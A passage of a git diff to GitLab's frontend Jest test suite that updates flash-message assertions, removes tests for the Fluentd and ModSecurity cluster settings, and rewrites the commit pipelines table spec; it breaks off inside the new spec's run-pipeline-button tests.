--- a/spec/frontend/ci_variable_list/store/actions_spec.js
+++ b/spec/frontend/ci_variable_list/store/actions_spec.js
@@ -5,7 +5,7 @@ import * as actions from '~/ci_variable_list/store/actions';
import * as types from '~/ci_variable_list/store/mutation_types';
import getInitialState from '~/ci_variable_list/store/state';
import { prepareDataForDisplay, prepareEnvironments } from '~/ci_variable_list/store/utils';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import mockData from '../services/mock_data';
@@ -240,7 +240,9 @@ describe('CI variable list store actions', () => {
mock.onGet(state.endpoint).reply(500);
testAction(actions.fetchVariables, {}, state, [], [{ type: 'requestVariables' }], () => {
- expect(createFlash).toHaveBeenCalledWith('There was an error fetching the variables.');
+ expect(createFlash).toHaveBeenCalledWith({
+ message: 'There was an error fetching the variables.',
+ });
done();
});
});
@@ -278,9 +280,9 @@ describe('CI variable list store actions', () => {
[],
[{ type: 'requestEnvironments' }],
() => {
- expect(createFlash).toHaveBeenCalledWith(
- 'There was an error fetching the environments information.',
- );
+ expect(createFlash).toHaveBeenCalledWith({
+ message: 'There was an error fetching the environments information.',
+ });
done();
},
);
diff --git a/spec/frontend/clusters/components/__snapshots__/remove_cluster_confirmation_spec.js.snap b/spec/frontend/clusters/components/__snapshots__/remove_cluster_confirmation_spec.js.snap
index 6047b404197..e5e336eb3d5 100644
--- a/spec/frontend/clusters/components/__snapshots__/remove_cluster_confirmation_spec.js.snap
+++ b/spec/frontend/clusters/components/__snapshots__/remove_cluster_confirmation_spec.js.snap
@@ -62,6 +62,7 @@ exports[`Remove cluster confirmation modal renders splitbutton with modal includ
aria-hidden="true"
class="gl-icon s16 gl-new-dropdown-item-check-icon gl-mt-3 gl-align-self-start"
data-testid="dropdown-item-checkbox"
+ role="img"
>
<use
href="#mobile-issue-close"
@@ -117,6 +118,7 @@ exports[`Remove cluster confirmation modal renders splitbutton with modal includ
aria-hidden="true"
class="gl-icon s16 gl-new-dropdown-item-check-icon gl-visibility-hidden gl-mt-3 gl-align-self-start"
data-testid="dropdown-item-checkbox"
+ role="img"
>
<use
href="#mobile-issue-close"
diff --git a/spec/frontend/clusters/components/applications_spec.js b/spec/frontend/clusters/components/applications_spec.js
index db5915cb1eb..511f5fc1d89 100644
--- a/spec/frontend/clusters/components/applications_spec.js
+++ b/spec/frontend/clusters/components/applications_spec.js
@@ -2,8 +2,6 @@ import { shallowMount, mount } from '@vue/test-utils';
import ApplicationRow from '~/clusters/components/application_row.vue';
import Applications from '~/clusters/components/applications.vue';
import CrossplaneProviderStack from '~/clusters/components/crossplane_provider_stack.vue';
-import FluentdOutputSettings from '~/clusters/components/fluentd_output_settings.vue';
-import IngressModsecuritySettings from '~/clusters/components/ingress_modsecurity_settings.vue';
import KnativeDomainEditor from '~/clusters/components/knative_domain_editor.vue';
import { CLUSTER_TYPE, PROVIDER_TYPE } from '~/clusters/constants';
import eventHub from '~/clusters/event_hub';
@@ -72,9 +70,6 @@ describe('Applications', () => {
expect(wrapper.find('.js-cluster-application-row-elastic_stack').exists()).toBe(true);
});
- it('renders a row for Fluentd', () => {
- expect(wrapper.find('.js-cluster-application-row-fluentd').exists()).toBe(true);
- });
it('renders a row for Cilium', () => {
expect(wrapper.find('.js-cluster-application-row-cilium').exists()).toBe(true);
});
@@ -117,10 +112,6 @@ describe('Applications', () => {
expect(wrapper.find('.js-cluster-application-row-elastic_stack').exists()).toBe(true);
});
- it('renders a row for Fluentd', () => {
- expect(wrapper.find('.js-cluster-application-row-fluentd').exists()).toBe(true);
- });
-
it('renders a row for Cilium', () => {
expect(wrapper.find('.js-cluster-application-row-cilium').exists()).toBe(true);
});
@@ -163,10 +154,6 @@ describe('Applications', () => {
expect(wrapper.find('.js-cluster-application-row-elastic_stack').exists()).toBe(true);
});
- it('renders a row for Fluentd', () => {
- expect(wrapper.find('.js-cluster-application-row-fluentd').exists()).toBe(true);
- });
-
it('renders a row for Cilium', () => {
expect(wrapper.find('.js-cluster-application-row-cilium').exists()).toBe(true);
});
@@ -185,24 +172,6 @@ describe('Applications', () => {
expect(findByTestId('ingressCostWarning').element).toMatchSnapshot();
});
- describe('with nested component', () => {
- const propsData = {
- applications: {
- ingress: {
- title: 'Ingress',
- status: 'installed',
- },
- },
- };
-
- beforeEach(() => createShallowComponent(propsData));
-
- it('renders IngressModsecuritySettings', () => {
- const modsecuritySettings = wrapper.find(IngressModsecuritySettings);
- expect(modsecuritySettings.exists()).toBe(true);
- });
- });
-
describe('when installed', () => {
describe('with ip address', () => {
it('renders ip address with a clipboard button', () => {
@@ -231,7 +200,6 @@ describe('Applications', () => {
title: 'Ingress',
status: 'installed',
externalHostname: 'localhost.localdomain',
- modsecurity_enabled: false,
},
cert_manager: { title: 'Cert-Manager' },
crossplane: { title: 'Crossplane', stack: '' },
@@ -240,7 +208,6 @@ describe('Applications', () => {
jupyter: { title: 'JupyterHub', hostname: '' },
knative: { title: 'Knative', hostname: '' },
elastic_stack: { title: 'Elastic Stack' },
- fluentd: { title: 'Fluentd' },
cilium: { title: 'GitLab Container Network Policies' },
},
});
@@ -534,14 +501,6 @@ describe('Applications', () => {
});
});
- describe('Fluentd application', () => {
- beforeEach(() => createShallowComponent());
-
- it('renders the correct Component', () => {
- expect(wrapper.find(FluentdOutputSettings).exists()).toBe(true);
- });
- });
-
describe('Cilium application', () => {
it('shows the correct description', () => {
createComponent({ propsData: { ciliumHelpPath: 'cilium-help-path' } });
diff --git a/spec/frontend/clusters/components/fluentd_output_settings_spec.js b/spec/frontend/clusters/components/fluentd_output_settings_spec.js
deleted file mode 100644
index 2c6e5bbd46a..00000000000
--- a/spec/frontend/clusters/components/fluentd_output_settings_spec.js
+++ /dev/null
@@ -1,186 +0,0 @@
-import { GlAlert, GlDropdown, GlFormCheckbox } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-import FluentdOutputSettings from '~/clusters/components/fluentd_output_settings.vue';
-import { APPLICATION_STATUS, FLUENTD } from '~/clusters/constants';
-import eventHub from '~/clusters/event_hub';
-
-const { UPDATING } = APPLICATION_STATUS;
-
-describe('FluentdOutputSettings', () => {
- let wrapper;
-
- const defaultSettings = {
- protocol: 'tcp',
- host: '127.0.0.1',
- port: 514,
- wafLogEnabled: true,
- ciliumLogEnabled: false,
- };
- const defaultProps = {
- status: 'installable',
- updateFailed: false,
- ...defaultSettings,
- };
-
- const createComponent = (props = {}) => {
- wrapper = shallowMount(FluentdOutputSettings, {
- propsData: {
- ...defaultProps,
- ...props,
- },
- });
- };
- const updateComponentPropsFromEvent = () => {
- const { isEditingSettings, ...props } = eventHub.$emit.mock.calls[0][1];
- wrapper.setProps(props);
- };
- const findSaveButton = () => wrapper.find({ ref: 'saveBtn' });
- const findCancelButton = () => wrapper.find({ ref: 'cancelBtn' });
- const findProtocolDropdown = () => wrapper.find(GlDropdown);
- const findCheckbox = (name) =>
- wrapper.findAll(GlFormCheckbox).wrappers.find((x) => x.text() === name);
- const findHost = () => wrapper.find('#fluentd-host');
- const findPort = () => wrapper.find('#fluentd-port');
- const changeCheckbox = (checkbox) => {
- const currentValue = checkbox.attributes('checked')?.toString() === 'true';
- checkbox.vm.$emit('input', !currentValue);
- };
- const changeInput = ({ element }, val) => {
- element.value = val;
- element.dispatchEvent(new Event('input'));
- };
- const changePort = (val) => changeInput(findPort(), val);
- const changeHost = (val) => changeInput(findHost(), val);
- const changeProtocol = (idx) => findProtocolDropdown().vm.$children[idx].$emit('click');
- const toApplicationSettings = ({ wafLogEnabled, ciliumLogEnabled, ...settings }) => ({
- ...settings,
- waf_log_enabled: wafLogEnabled,
- cilium_log_enabled: ciliumLogEnabled,
- });
-
- describe('when fluentd is installed', () => {
- beforeEach(() => {
- createComponent({ status: 'installed' });
- jest.spyOn(eventHub, '$emit');
- });
-
- it('does not render save and cancel buttons', () => {
- expect(findSaveButton().exists()).toBe(false);
- expect(findCancelButton().exists()).toBe(false);
- });
-
- describe.each`
- desc | changeFn | key | value
- ${'when protocol dropdown is triggered'} | ${() => changeProtocol(1)} | ${'protocol'} | ${'udp'}
- ${'when host is changed'} | ${() => changeHost('test-host')} | ${'host'} | ${'test-host'}
- ${'when port is changed'} | ${() => changePort(123)} | ${'port'} | ${123}
- ${'when wafLogEnabled changes'} | ${() => changeCheckbox(findCheckbox('Send Web Application Firewall Logs'))} | ${'wafLogEnabled'} | ${!defaultSettings.wafLogEnabled}
- ${'when ciliumLogEnabled changes'} | ${() => changeCheckbox(findCheckbox('Send Container Network Policies Logs'))} | ${'ciliumLogEnabled'} | ${!defaultSettings.ciliumLogEnabled}
- `('$desc', ({ changeFn, key, value }) => {
- beforeEach(() => {
- changeFn();
- });
-
- it('triggers set event to be propagated with the current value', () => {
- expect(eventHub.$emit).toHaveBeenCalledWith('setFluentdSettings', {
- [key]: value,
- isEditingSettings: true,
- });
- });
-
- describe('when value is updated from store', () => {
- beforeEach(() => {
- updateComponentPropsFromEvent();
- });
-
- it('enables save and cancel buttons', () => {
- expect(findSaveButton().exists()).toBe(true);
- expect(findSaveButton().attributes().disabled).toBeUndefined();
- expect(findCancelButton().exists()).toBe(true);
- expect(findCancelButton().attributes().disabled).toBeUndefined();
- });
-
- describe('and the save changes button is clicked', () => {
- beforeEach(() => {
- eventHub.$emit.mockClear();
- findSaveButton().vm.$emit('click');
- });
-
- it('triggers save event and pass current values', () => {
- expect(eventHub.$emit).toHaveBeenCalledWith('updateApplication', {
- id: FLUENTD,
- params: toApplicationSettings({
- ...defaultSettings,
- [key]: value,
- }),
- });
- });
- });
-
- describe('and the cancel button is clicked', () => {
- beforeEach(() => {
- eventHub.$emit.mockClear();
- findCancelButton().vm.$emit('click');
- });
-
- it('triggers reset event', () => {
- expect(eventHub.$emit).toHaveBeenCalledWith('setFluentdSettings', {
- ...defaultSettings,
- isEditingSettings: false,
- });
- });
-
- describe('when value is updated from store', () => {
- beforeEach(() => {
- updateComponentPropsFromEvent();
- });
-
- it('does not render save and cancel buttons', () => {
- expect(findSaveButton().exists()).toBe(false);
- expect(findCancelButton().exists()).toBe(false);
- });
- });
- });
- });
- });
-
- describe(`when fluentd status is ${UPDATING}`, () => {
- beforeEach(() => {
- createComponent({ installed: true, status: UPDATING });
- });
-
- it('renders loading spinner in save button', () => {
- expect(findSaveButton().props('loading')).toBe(true);
- });
-
- it('renders disabled save button', () => {
- expect(findSaveButton().props('disabled')).toBe(true);
- });
-
- it('renders save button with "Saving" label', () => {
- expect(findSaveButton().text()).toBe('Saving');
- });
- });
-
- describe('when fluentd fails to update', () => {
- beforeEach(() => {
- createComponent({ updateFailed: true });
- });
-
- it('displays a error message', () => {
- expect(wrapper.find(GlAlert).exists()).toBe(true);
- });
- });
- });
-
- describe('when fluentd is not installed', () => {
- beforeEach(() => {
- createComponent();
- });
-
- it('does not render the save button', () => {
- expect(findSaveButton().exists()).toBe(false);
- expect(findCancelButton().exists()).toBe(false);
- });
- });
-});
diff --git a/spec/frontend/clusters/components/ingress_modsecurity_settings_spec.js b/spec/frontend/clusters/components/ingress_modsecurity_settings_spec.js
deleted file mode 100644
index f83a350a27c..00000000000
--- a/spec/frontend/clusters/components/ingress_modsecurity_settings_spec.js
+++ /dev/null
@@ -1,192 +0,0 @@
-import { GlAlert, GlToggle, GlDropdown } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-import IngressModsecuritySettings from '~/clusters/components/ingress_modsecurity_settings.vue';
-import { APPLICATION_STATUS, INGRESS } from '~/clusters/constants';
-import eventHub from '~/clusters/event_hub';
-
-const { UPDATING } = APPLICATION_STATUS;
-
-describe('IngressModsecuritySettings', () => {
- let wrapper;
-
- const defaultProps = {
- modsecurity_enabled: false,
- status: 'installable',
- installed: false,
- modsecurity_mode: 'logging',
- updateAvailable: false,
- };
-
- const createComponent = (props = defaultProps) => {
- wrapper = shallowMount(IngressModsecuritySettings, {
- propsData: {
- ingress: {
- ...defaultProps,
- ...props,
- },
- },
- });
- };
-
- const findSaveButton = () =>
- wrapper.find('[data-qa-selector="save_ingress_modsecurity_settings"]');
- const findCancelButton = () =>
- wrapper.find('[data-qa-selector="cancel_ingress_modsecurity_settings"]');
- const findModSecurityToggle = () => wrapper.find(GlToggle);
- const findModSecurityDropdown = () => wrapper.find(GlDropdown);
-
- describe('when ingress is installed', () => {
- beforeEach(() => {
- createComponent({ installed: true, status: 'installed' });
- jest.spyOn(eventHub, '$emit');
- });
-
- it('does not render save and cancel buttons', () => {
- expect(findSaveButton().exists()).toBe(false);
- expect(findCancelButton().exists()).toBe(false);
- });
-
- describe('with toggle changed by the user', () => {
- beforeEach(() => {
- findModSecurityToggle().vm.$emit('change');
- wrapper.setProps({
- ingress: {
- ...defaultProps,
- installed: true,
- status: 'installed',
- modsecurity_enabled: true,
- },
- });
- });
-
- it('renders toggle with label', () => {
- expect(findModSecurityToggle().props('label')).toBe(
- IngressModsecuritySettings.i18n.modSecurityEnabled,
- );
- });
-
- it('renders save and cancel buttons', () => {
- expect(findSaveButton().exists()).toBe(true);
- expect(findCancelButton().exists()).toBe(true);
- });
-
- it('enables related toggle and buttons', () => {
- expect(findSaveButton().attributes().disabled).toBeUndefined();
- expect(findCancelButton().attributes().disabled).toBeUndefined();
- });
-
- describe('with dropdown changed by the user', () => {
- beforeEach(() => {
- findModSecurityDropdown().vm.$children[1].$emit('click');
- wrapper.setProps({
- ingress: {
- ...defaultProps,
- installed: true,
- status: 'installed',
- modsecurity_enabled: true,
- modsecurity_mode: 'blocking',
- },
- });
- });
-
- it('renders both save and cancel buttons', () => {
- expect(findSaveButton().exists()).toBe(true);
- expect(findCancelButton().exists()).toBe(true);
- });
-
- describe('and the save changes button is clicked', () => {
- beforeEach(() => {
- findSaveButton().vm.$emit('click');
- });
-
- it('triggers save event and pass current modsecurity value', () => {
- expect(eventHub.$emit).toHaveBeenCalledWith('updateApplication', {
- id: INGRESS,
- params: { modsecurity_enabled: true, modsecurity_mode: 'blocking' },
- });
- });
- });
- });
-
- describe('and the cancel button is clicked', () => {
- beforeEach(() => {
- findCancelButton().vm.$emit('click');
- });
-
- it('triggers reset event and hides both cancel and save changes button', () => {
- expect(eventHub.$emit).toHaveBeenCalledWith('resetIngressModSecurityChanges', INGRESS);
- expect(findSaveButton().exists()).toBe(false);
- expect(findCancelButton().exists()).toBe(false);
- });
- });
-
- describe('with a new version available', () => {
- beforeEach(() => {
- wrapper.setProps({
- ingress: {
- ...defaultProps,
- installed: true,
- status: 'installed',
- modsecurity_enabled: true,
- updateAvailable: true,
- },
- });
- });
-
- it('disables related toggle and buttons', () => {
- expect(findSaveButton().attributes().disabled).toBe('true');
- expect(findCancelButton().attributes().disabled).toBe('true');
- });
- });
- });
-
- it('triggers set event to be propagated with the current modsecurity value', () => {
- wrapper.setData({ modSecurityEnabled: true });
- return wrapper.vm.$nextTick().then(() => {
- expect(eventHub.$emit).toHaveBeenCalledWith('setIngressModSecurityEnabled', {
- id: INGRESS,
- modSecurityEnabled: true,
- });
- });
- });
-
- describe(`when ingress status is ${UPDATING}`, () => {
- beforeEach(() => {
- createComponent({ installed: true, status: UPDATING });
- });
-
- it('renders loading spinner in save button', () => {
- expect(findSaveButton().props('loading')).toBe(true);
- });
-
- it('renders disabled save button', () => {
- expect(findSaveButton().props('disabled')).toBe(true);
- });
-
- it('renders save button with "Saving" label', () => {
- expect(findSaveButton().text()).toBe('Saving');
- });
- });
-
- describe('when ingress fails to update', () => {
- beforeEach(() => {
- createComponent({ updateFailed: true });
- });
-
- it('displays a error message', () => {
- expect(wrapper.find(GlAlert).exists()).toBe(true);
- });
- });
- });
-
- describe('when ingress is not installed', () => {
- beforeEach(() => {
- createComponent();
- });
-
- it('does not render the save button', () => {
- expect(findSaveButton().exists()).toBe(false);
- expect(findModSecurityToggle().props('value')).toBe(false);
- });
- });
-});
diff --git a/spec/frontend/clusters/forms/components/integration_form_spec.js b/spec/frontend/clusters/forms/components/integration_form_spec.js
index c5cec4c4fdb..b129baa2d83 100644
--- a/spec/frontend/clusters/forms/components/integration_form_spec.js
+++ b/spec/frontend/clusters/forms/components/integration_form_spec.js
@@ -15,7 +15,6 @@ describe('ClusterIntegrationForm', () => {
editable: true,
environmentScope: '*',
baseDomain: 'testDomain',
- applicationIngressExternalIp: null,
};
const createWrapper = (storeValues = defaultStoreValues) => {
@@ -72,18 +71,6 @@ describe('ClusterIntegrationForm', () => {
expect(findSubmitButton().exists()).toBe(false);
});
});
-
- it('does not render external IP block if applicationIngressExternalIp was not passed', () => {
- createWrapper({ ...defaultStoreValues });
-
- expect(wrapper.find('.js-ingress-domain-help-text').exists()).toBe(false);
- });
-
- it('renders external IP block if applicationIngressExternalIp was passed', () => {
- createWrapper({ ...defaultStoreValues, applicationIngressExternalIp: '127.0.0.1' });
-
- expect(wrapper.find('.js-ingress-domain-help-text').exists()).toBe(true);
- });
});
describe('reactivity', () => {
diff --git a/spec/frontend/clusters/services/mock_data.js b/spec/frontend/clusters/services/mock_data.js
index 4f8b27d623c..a75fcb0cb06 100644
--- a/spec/frontend/clusters/services/mock_data.js
+++ b/spec/frontend/clusters/services/mock_data.js
@@ -20,7 +20,6 @@ const CLUSTERS_MOCK_DATA = {
external_ip: null,
external_hostname: null,
can_uninstall: false,
- modsecurity_enabled: false,
},
{
name: 'runner',
@@ -154,7 +153,6 @@ const APPLICATIONS_MOCK_STATE = {
ingress: {
title: 'Ingress',
status: 'installable',
- modsecurity_enabled: false,
},
crossplane: { title: 'Crossplane', status: 'installable', stack: '' },
cert_manager: { title: 'Cert-Manager', status: 'installable' },
@@ -163,7 +161,6 @@ const APPLICATIONS_MOCK_STATE = {
jupyter: { title: 'JupyterHub', status: 'installable', hostname: '' },
knative: { title: 'Knative ', status: 'installable', hostname: '' },
elastic_stack: { title: 'Elastic Stack', status: 'installable' },
- fluentd: { title: 'Fluentd', status: 'installable' },
cilium: {
title: 'GitLab Container Network Policies',
status: 'not_installable',
diff --git a/spec/frontend/clusters/stores/clusters_store_spec.js b/spec/frontend/clusters/stores/clusters_store_spec.js
index c80949531c8..cdba6fc6ab8 100644
--- a/spec/frontend/clusters/stores/clusters_store_spec.js
+++ b/spec/frontend/clusters/stores/clusters_store_spec.js
@@ -84,16 +84,12 @@ describe('Clusters Store', () => {
externalHostname: null,
installable: true,
installed: false,
- isEditingModSecurityEnabled: false,
- isEditingModSecurityMode: false,
installFailed: true,
uninstallable: false,
updateFailed: false,
uninstallSuccessful: false,
uninstallFailed: false,
validationError: null,
- modsecurity_enabled: false,
- modsecurity_mode: undefined,
},
runner: {
title: 'GitLab Runner',
@@ -126,25 +122,6 @@ describe('Clusters Store', () => {
uninstallFailed: false,
validationError: null,
},
- fluentd: {
- title: 'Fluentd',
- status: null,
- statusReason: null,
- requestReason: null,
- port: null,
- ciliumLogEnabled: null,
- host: null,
- protocol: null,
- installable: true,
- installed: false,
- isEditingSettings: false,
- installFailed: false,
- uninstallable: false,
- uninstallSuccessful: false,
- uninstallFailed: false,
- validationError: null,
- wafLogEnabled: null,
- },
jupyter: {
title: 'JupyterHub',
status: mockResponseData.applications[4].status,
diff --git a/spec/frontend/commit/pipelines/pipelines_spec.js b/spec/frontend/commit/pipelines/pipelines_spec.js
deleted file mode 100644
index fe928a01acf..00000000000
--- a/spec/frontend/commit/pipelines/pipelines_spec.js
+++ /dev/null
@@ -1,280 +0,0 @@
-import '~/commons';
-import MockAdapter from 'axios-mock-adapter';
-import Vue from 'vue';
-import mountComponent from 'helpers/vue_mount_component_helper';
-import Api from '~/api';
-import pipelinesTable from '~/commit/pipelines/pipelines_table.vue';
-import axios from '~/lib/utils/axios_utils';
-
-describe('Pipelines table in Commits and Merge requests', () => {
- const jsonFixtureName = 'pipelines/pipelines.json';
- let pipeline;
- let PipelinesTable;
- let mock;
- let vm;
- const props = {
- endpoint: 'endpoint.json',
- emptyStateSvgPath: 'foo',
- errorStateSvgPath: 'foo',
- };
-
- const findRunPipelineBtn = () => vm.$el.querySelector('[data-testid="run_pipeline_button"]');
- const findRunPipelineBtnMobile = () =>
- vm.$el.querySelector('[data-testid="run_pipeline_button_mobile"]');
-
- beforeEach(() => {
- mock = new MockAdapter(axios);
-
- const { pipelines } = getJSONFixture(jsonFixtureName);
-
- PipelinesTable = Vue.extend(pipelinesTable);
- pipeline = pipelines.find((p) => p.user !== null && p.commit !== null);
- });
-
- afterEach(() => {
- vm.$destroy();
- mock.restore();
- });
-
- describe('successful request', () => {
- describe('without pipelines', () => {
- beforeEach(() => {
- mock.onGet('endpoint.json').reply(200, []);
-
- vm = mountComponent(PipelinesTable, props);
- });
-
- it('should render the empty state', (done) => {
- setImmediate(() => {
- expect(vm.$el.querySelector('.empty-state')).toBeDefined();
- expect(vm.$el.querySelector('.realtime-loading')).toBe(null);
- expect(vm.$el.querySelector('.js-pipelines-error-state')).toBe(null);
- done();
- });
- });
- });
-
- describe('with pipelines', () => {
- beforeEach(() => {
- mock.onGet('endpoint.json').reply(200, [pipeline]);
- vm = mountComponent(PipelinesTable, props);
- });
-
- it('should render a table with the received pipelines', (done) => {
- setImmediate(() => {
- expect(vm.$el.querySelectorAll('.ci-table .commit').length).toEqual(1);
- expect(vm.$el.querySelector('.realtime-loading')).toBe(null);
- expect(vm.$el.querySelector('.empty-state')).toBe(null);
- expect(vm.$el.querySelector('.js-pipelines-error-state')).toBe(null);
- done();
- });
- });
-
- describe('with pagination', () => {
- it('should make an API request when using pagination', (done) => {
- setImmediate(() => {
- jest.spyOn(vm, 'updateContent').mockImplementation(() => {});
-
- vm.store.state.pageInfo = {
- page: 1,
- total: 10,
- perPage: 2,
- nextPage: 2,
- totalPages: 5,
- };
-
- vm.$nextTick(() => {
- vm.$el.querySelector('.next-page-item').click();
-
- expect(vm.updateContent).toHaveBeenCalledWith({ page: '2' });
- done();
- });
- });
- });
- });
- });
-
- describe('pipeline badge counts', () => {
- beforeEach(() => {
- mock.onGet('endpoint.json').reply(200, [pipeline]);
- });
-
- it('should receive update-pipelines-count event', (done) => {
- const element = document.createElement('div');
- document.body.appendChild(element);
-
- element.addEventListener('update-pipelines-count', (event) => {
- expect(event.detail.pipelines).toEqual([pipeline]);
- done();
- });
-
- vm = mountComponent(PipelinesTable, props);
-
- element.appendChild(vm.$el);
- });
- });
- });
-
- describe('run pipeline button', () => {
- let pipelineCopy;
-
- beforeEach(() => {
- pipelineCopy = { ...pipeline };
- });
-
- describe('when latest pipeline has detached flag', () => {
- it('renders the run pipeline button', (done) => {
- pipelineCopy.flags.detached_merge_request_pipeline = true;
- pipelineCopy.flags.merge_request_pipeline = true;
-
- mock.onGet('endpoint.json').reply(200, [pipelineCopy]);
-
- vm = mountComponent(PipelinesTable, { ...props });
-
- setImmediate(() => {
- expect(findRunPipelineBtn()).not.toBeNull();
- expect(findRunPipelineBtnMobile()).not.toBeNull();
- done();
- });
- });
- });
-
- describe('when latest pipeline does not have detached flag', () => {
- it('does not render the run pipeline button', (done) => {
- pipelineCopy.flags.detached_merge_request_pipeline = false;
- pipelineCopy.flags.merge_request_pipeline = false;
-
- mock.onGet('endpoint.json').reply(200, [pipelineCopy]);
-
- vm = mountComponent(PipelinesTable, { ...props });
-
- setImmediate(() => {
- expect(findRunPipelineBtn()).toBeNull();
- expect(findRunPipelineBtnMobile()).toBeNull();
- done();
- });
- });
- });
-
- describe('on click', () => {
- const findModal = () =>
- document.querySelector('#create-pipeline-for-fork-merge-request-modal');
-
- beforeEach((done) => {
- pipelineCopy.flags.detached_merge_request_pipeline = true;
-
- mock.onGet('endpoint.json').reply(200, [pipelineCopy]);
-
- vm = mountComponent(PipelinesTable, {
- ...props,
- canRunPipeline: true,
- projectId: '5',
- mergeRequestId: 3,
- });
-
- jest.spyOn(Api, 'postMergeRequestPipeline').mockReturnValue(Promise.resolve());
-
- setImmediate(() => {
- done();
- });
- });
-
- it('on desktop, shows a loading button', (done) => {
- findRunPipelineBtn().click();
-
- vm.$nextTick(() => {
- expect(findModal()).toBeNull();
-
- expect(findRunPipelineBtn().disabled).toBe(true);
- expect(findRunPipelineBtn().querySelector('.gl-spinner')).not.toBeNull();
-
- setImmediate(() => {
- expect(findRunPipelineBtn().disabled).toBe(false);
- expect(findRunPipelineBtn().querySelector('.gl-spinner')).toBeNull();
-
- done();
- });
- });
- });
-
- it('on mobile, shows a loading button', (done) => {
- findRunPipelineBtnMobile().click();
-
- vm.$nextTick(() => {
- expect(findModal()).toBeNull();
-
- expect(findModal()).toBeNull();
- expect(findRunPipelineBtn().querySelector('.gl-spinner')).not.toBeNull();
-
- setImmediate(() => {
- expect(findRunPipelineBtn().disabled).toBe(false);
- expect(findRunPipelineBtn().querySelector('.gl-spinner')).toBeNull();
-
- done();
- });
- });
- });
- });
-
- describe('on click for fork merge request', () => {
- const findModal = () =>
- document.querySelector('#create-pipeline-for-fork-merge-request-modal');
-
- beforeEach((done) => {
- pipelineCopy.flags.detached_merge_request_pipeline = true;
-
- mock.onGet('endpoint.json').reply(200, [pipelineCopy]);
-
- vm = mountComponent(PipelinesTable, {
- ...props,
- projectId: '5',
- mergeRequestId: 3,
- canCreatePipelineInTargetProject: true,
- sourceProjectFullPath: 'test/parent-project',
- targetProjectFullPath: 'test/fork-project',
- });
-
- jest.spyOn(Api, 'postMergeRequestPipeline').mockReturnValue(Promise.resolve());
-
- setImmediate(() => {
- done();
- });
- });
-
- it('on desktop, shows a security warning modal', (done) => {
- findRunPipelineBtn().click();
-
- vm.$nextTick(() => {
- expect(findModal()).not.toBeNull();
- done();
- });
- });
-
- it('on mobile, shows a security warning modal', (done) => {
- findRunPipelineBtnMobile().click();
-
- vm.$nextTick(() => {
- expect(findModal()).not.toBeNull();
- done();
- });
- });
- });
- });
-
- describe('unsuccessfull request', () => {
- beforeEach(() => {
- mock.onGet('endpoint.json').reply(500, []);
-
- vm = mountComponent(PipelinesTable, props);
- });
-
- it('should render error state', (done) => {
- setImmediate(() => {
- expect(vm.$el.querySelector('.js-pipelines-error-state')).toBeDefined();
- expect(vm.$el.querySelector('.realtime-loading')).toBe(null);
- expect(vm.$el.querySelector('.ci-table')).toBe(null);
- done();
- });
- });
- });
-});
diff --git a/spec/frontend/commit/pipelines/pipelines_table_spec.js b/spec/frontend/commit/pipelines/pipelines_table_spec.js
new file mode 100644
index 00000000000..4bf6727af3b
--- /dev/null
+++ b/spec/frontend/commit/pipelines/pipelines_table_spec.js
@@ -0,0 +1,253 @@
+import { GlEmptyState, GlLoadingIcon, GlModal, GlTable } from '@gitlab/ui';
+import { mount } from '@vue/test-utils';
+import MockAdapter from 'axios-mock-adapter';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import waitForPromises from 'helpers/wait_for_promises';
+import Api from '~/api';
+import PipelinesTable from '~/commit/pipelines/pipelines_table.vue';
+import axios from '~/lib/utils/axios_utils';
+
+describe('Pipelines table in Commits and Merge requests', () => {
+ const jsonFixtureName = 'pipelines/pipelines.json';
+ let wrapper;
+ let pipeline;
+ let mock;
+
+ const findRunPipelineBtn = () => wrapper.findByTestId('run_pipeline_button');
+ const findRunPipelineBtnMobile = () => wrapper.findByTestId('run_pipeline_button_mobile');
+ const findLoadingState = () => wrapper.findComponent(GlLoadingIcon);
+ const findEmptyState = () => wrapper.findComponent(GlEmptyState);
+ const findTable = () => wrapper.findComponent(GlTable);
+ const findTableRows = () => wrapper.findAllByTestId('pipeline-table-row');
+ const findModal = () => wrapper.findComponent(GlModal);
+
+ const createComponent = (props = {}) => {
+ wrapper = extendedWrapper(
+ mount(PipelinesTable, {
+ propsData: {
+ endpoint: 'endpoint.json',
+ emptyStateSvgPath: 'foo',
+ errorStateSvgPath: 'foo',
+ ...props,
+ },
+ }),
+ );
+ };
+
+ beforeEach(() => {
+ mock = new MockAdapter(axios);
+
+ const { pipelines } = getJSONFixture(jsonFixtureName);
+
+ pipeline = pipelines.find((p) => p.user !== null && p.commit !== null);
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ mock.restore();
+ });
+
+ describe('successful request', () => {
+ describe('without pipelines', () => {
+ beforeEach(async () => {
+ mock.onGet('endpoint.json').reply(200, []);
+
+ createComponent();
+
+ await waitForPromises();
+ });
+
+ it('should render the empty state', () => {
+ expect(findTableRows()).toHaveLength(0);
+ expect(findLoadingState().exists()).toBe(false);
+ expect(findEmptyState().exists()).toBe(false);
+ });
+ });
+
+ describe('with pipelines', () => {
+ beforeEach(async () => {
+ mock.onGet('endpoint.json').reply(200, [pipeline]);
+
+ createComponent();
+
+ await waitForPromises();
+ });
+
+ it('should render a table with the received pipelines', () => {
+ expect(findTable().exists()).toBe(true);
+ expect(findTableRows()).toHaveLength(1);
+ expect(findLoadingState().exists()).toBe(false);
+ expect(findEmptyState().exists()).toBe(false);
+ });
+
+ describe('with pagination', () => {
+ it('should make an API request when using pagination', async () => {
+ jest.spyOn(wrapper.vm, 'updateContent').mockImplementation(() => {});
+
+ await wrapper.setData({
+ store: {
+ state: {
+ pageInfo: {
+ page: 1,
+ total: 10,
+ perPage: 2,
+ nextPage: 2,
+ totalPages: 5,
+ },
+ },
+ },
+ });
+
+ wrapper.find('.next-page-item').trigger('click');
+
+ expect(wrapper.vm.updateContent).toHaveBeenCalledWith({ page: '2' });
+ });
+ });
+
+ describe('pipeline badge counts', () => {
+ it('should receive update-pipelines-count event', (done) => {
+ const element = document.createElement('div');
+ document.body.appendChild(element);
+
+ element.addEventListener('update-pipelines-count', (event) => {
+ expect(event.detail.pipelines).toEqual([pipeline]);
+ done();
+ });
+
+ createComponent();
+
+ element.appendChild(wrapper.vm.$el);
+ });
+ });
+ });
+ });
+
+ describe('run pipeline button', () => {
+ let pipelineCopy;
+
+ beforeEach(() => {
